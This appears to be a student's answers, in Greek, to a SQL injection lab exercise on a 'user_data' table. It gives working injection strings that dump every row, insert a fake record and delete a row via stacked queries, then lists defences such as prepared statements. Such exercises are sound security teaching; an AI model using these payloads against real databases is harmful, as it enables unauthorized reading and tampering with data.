1)Smith' OR '1'='1

SELECT \* FROM user\_data WHERE last\_name = 'Smith' OR '1'='1'

1=1 ισχύει πάντα όποτε θα εμφανίσει τα πάντα

2) Smith'; insert into user\_data values(123,’TesterN’,’TesterP’, 445845636,’VISA’,null,0) ; SELECT \* FROM user\_data WHERE '1'='1

Στο τέλος προσθέτω το select ώστε να μπορώ να κλείσω το ‘ και να εκτελεστεί η εντολή

3)Smith'; delete from user\_data where USERID = 123 ; SELECT \* FROM user\_data WHERE '1'='1

Ομοίως προσθέτω ένα select στο τέλος

4)Ένα μέτρο προστασίας για την αποτροπή sql injection είναι τα prepared statements τα οποία αναλαμβάνουν να αφαιρέσουν οτιδήποτε κάνει ένα ‘κακό’ string εκτελέσιμο. Ένα άλλο μέτρο είναι η χρήση stored procedures ενώ ένα τρίτο μέτρο είναι η αποφυγή εισαγωγής από τους χρήστες. Στο υποθετικό σενάριο ο διαχειριστής μπορεί να χρησιμοποιήσει έναν από τους παραπάνω τρόπους.